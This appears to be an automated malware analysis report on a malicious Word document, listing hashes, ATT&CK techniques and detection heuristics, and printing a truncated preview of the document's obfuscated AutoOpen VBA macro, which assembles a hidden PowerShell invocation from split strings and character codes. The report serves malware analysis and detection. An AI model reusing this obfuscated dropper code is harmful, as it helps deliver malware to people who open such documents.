Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6276edca25c7ec61…

MALICIOUS

Office (OLE)

124.8 KB Created: 2018-06-22 17:32:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 871411e9e8b18bf9376fd291fb87e43c SHA-1: 562fc3a6db310a76a647c49c3eb90b42a794796f SHA-256: 6276edca25c7ec614302e762741d44b21dc080de77c5d8d00ff76c23d2f5bd9f
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external code. The ClamAV detection name 'Doc.Malware.Valyria-6874342-0' further confirms its malicious nature. The VBA script concatenates strings to form commands, likely for downloading and executing a payload, which is a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-6874342-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6874342-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31086 bytes
SHA-256: 5e50dcf3f804e0fa9fb074c27d16db077230aec0bc9582ea9e669b52c31e87c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iKMrhZAFQDow"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UXDdtHjMV"
Function KzqKNwzlW()
On Error Resume Next
tAKfZ = (BbtuaI * 83823 + 49912 * CInt(wsrWP - CDbl(84044)) * 84113 * Oct(75173))
sQkklJLIwqG = "Hel" + "l  " + ". " + "( $" + "ve" + "rB"
QMTMTi = (dhOTS * 65898 + 65935 * CInt(smBmR - CDbl(69428)) * 54529 * Oct(18621))
bzPiN = "oSE" + "PRE" + "fE" + "reN" + "CE."
XJmaJq = (BNiOM * 13442 + 78933 * CInt(PWzad - CDbl(13246)) * 63968 * Oct(27215))
uorNvupfup = "tOS" + "TRI" + "ng" + "()" + "[1,"
SidpF = (voDVo * 18927 + 85099 * CInt(TqqRFD - CDbl(37134)) * 21570 * Oct(71951))
TltRZD = "3]+" + "'X'" + "-JO" + "IN'" + "')("
uWvmBj = (qvcHfN * 66628 + 91787 * CInt(iaJlAz - CDbl(44810)) * 46056 * Oct(57056))
khvwYm = Chr(34) + "$" + "(S" + "ET " + "'OF" + "s' "
mpbKqH = (fviaIm * 43611 + 57737 * CInt(OQqodH - CDbl(42447)) * 26871 * Oct(39799))
CJFWvtX = " ''" + " )" + " " + Chr(34) + " "
KzqKNwzlW = sQkklJLIwqG + bzPiN + uorNvupfup + TltRZD + khvwYm + CJFWvtX
BzzwzX = (RtCOl * 71792 + 30 * CInt(imMRan - CDbl(75021)) * 14247 * Oct(4202))
End Function
Function RSTvQF()
On Error Resume Next
HhpGfT = (pwGti * 99109 + 68346 * CInt(zVdbj - CDbl(55351)) * 59398 * Oct(81329))
VQobPb = "+[S" + "TR" + "IN" + "G]" + "([C" + "haR" + "[]]"
uUJwu = (OsuMs * 80230 + 37984 * CInt(OjBvn - CDbl(88030)) * 87065 * Oct(98818))
SzVDYw = "( " + "0 " + ",85" + ",11" + "4 ," + "70"
dOaSJf = (HcrnL * 21304 + 18821 * CInt(vtrAn - CDbl(75621)) * 83216 * Oct(25689))
FzpAuLlD = " ,6" + "6," + " 1" + "15,"
KOsihr = (IvhfiT * 72387 + 8784 * CInt(cFQwj - CDbl(97868)) * 5777 * Oct(49337))
bMEQYmh = " 4" + " ," + "25" + ", " + "4,7" + "4 ," + "65"
AtCsLA = (AuIunk * 49681 + 70292 * CInt(fQidib - CDbl(15077)) * 75298 * Oct(76382))
dkrjEOvOuzw = " , " + "83" + " ,9" + " ," + " 7" + "5,"
ibOzL = (Szhzu * 30365 + 69227 * CInt(thYcJZ - CDbl(83415)) * 60095 * Oct(60614))
KYUWdpLjYl = " 70" + " , " + "78" + " ," + " 6" + "5, "
RSTvQF = VQobPb + SzVDYw + FzpAuLlD + bMEQYmh + dkrjEOvOuzw + KYUWdpLjYl
BiYvC = (lOFzR * 20825 + 72601 * CInt(ziVmsm - CDbl(735)) * 29277 * Oct(62173))
End Function
Function FvFimOnvi()
On Error Resume Next
jACidO = (CvLwc * 75060 + 43618 * CInt(ILfKkP - CDbl(67451)) * 92702 * Oct(57001))
pwqozNW = "71" + ", " + "80" + ", 4"
aDEmsD = (CbLBWG * 71810 + 81567 * CInt(OPawUv - CDbl(97207)) * 82134 * Oct(69662))
FzRLDki = " , " + "86," + "69 " + ",74" + ", 6" + "4," + " 75"
UEwiAE = (zCKPQ * 5453 + 15997 * CInt(aLKum - CDbl(9581)) * 88881 * Oct(39004))
CzTpk = ",7" + "3 " + ",3" + "1," + "0," + " 8" + "2,"
ATVjK = (FNCSih * 11722 + 87862 * CInt(zzHif - CDbl(30227)) * 97003 * Oct(23678))
ofJwaE = "125" + " , " + "64"
kuknw = (Vakrhj * 65644 + 84783 * CInt(YFBOkZ - CDbl(60010)) * 39313 * Oct(33730))
XlKPpEcAiVD = " , " + "70 " + ", " + "81" + " ," + " 4 "
FvFimOnvi = pwqozNW + FzRLDki + CzTpk + ofJwaE + XlKPpEcAiVD
wpzLop = (HDwQt * 33761 + 33648 * CInt(wHzOL - CDbl(57716)) * 29945 * Oct(9653))
End Function
Function KwjzsOqdA()
On Error Resume Next
KZOkb = (EZTnzI * 46665 + 28404 * CInt(CjZivX - CDbl(58476)) * 77014 * Oct(69648))
DWJGYM = ", " + "25" + " ," + "4 " + ", 7" + "4 ,"
oSiFF = (jkiBO * 52023 + 33419 * CInt(LrradR - CDbl(92326)) * 46450 * Oct(86457))
LHBqMvqpFn = " 6" + "5 ," + "83" + ", " + "9, "
MfElJ = (fldanZ * 44057 + 38366 * CInt(RTYtN - CDbl(62952)) * 52440 * Oct(28653))
iawiqpDw = "75 " + ", 7" + "0 " + ", 7" + "8 ," + " 65"
KwjzsOqdA = DWJGYM + LHBqMvqpFn + iawiqpDw
SDjDKS = (QZjta * 33048 + 91470 * CInt(jWczqs - CDbl(73534)) * 40029 * Oct(44439))
End Function
Function whBlhTt()
On Error Resume Next
LwXif = (lQLTF * 27171 + 53786 * CInt(LNXAqa - CDbl(74986)) * 1526 * Oct(45143))
ZlbzCB = " , " + "71" + ",8"
KqDiYA = (iJqwUp * 72408 + 87209 * CInt(IJFcU - CDbl(41303)) * 88728 * Oct(2522))
wCvnan = "0," + "4 " + ", "
... (truncated)